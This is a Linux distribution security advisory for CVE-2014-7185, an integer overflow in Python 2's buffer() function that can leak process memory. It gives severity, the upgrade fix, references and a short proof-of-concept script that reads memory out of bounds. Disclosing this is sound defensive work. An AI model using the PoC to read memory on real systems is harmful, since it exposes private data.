Arch Linux Security Advisory ASA-201409-3
========================================
Severity: Low
Date    : 2014-09-26
CVE-ID  : CVE-2014-7185
Package : python2
Type    : Integer overflow
Remote  : No
Link    : https://wiki.archlinux.org/title/CVE-2014

Summary
======
The package python2 before version 2.7.8-1 is vulnerable to an integer
overflow vulnerability.

Resolution
=========
Upgrade to 2.7.8-1.

$ pacman -Syu "python2>=2.7.8-1"

The problem has been fixed upstream in version 2.7.8 [1].

Workaround
=========
None.

Description
==========
It was reported that Python 2.7.8 fixes a potential wraparound in
buffer() with possible CWE-200 implications. This could allow an
attacker to access private information through information leakage.

PoC:

--- overflow.py ---import sys
a = bytearray('here be dragons')
b = buffer(a, sys.maxsize, sys.maxsize)
print b[:8192]
-------------------References
=========
[1] https://www.python.org/downloads/release/python-278/
https://bugs.python.org/issue21831
https://bugzilla.redhat.com/show_bug.cgi?id=1146026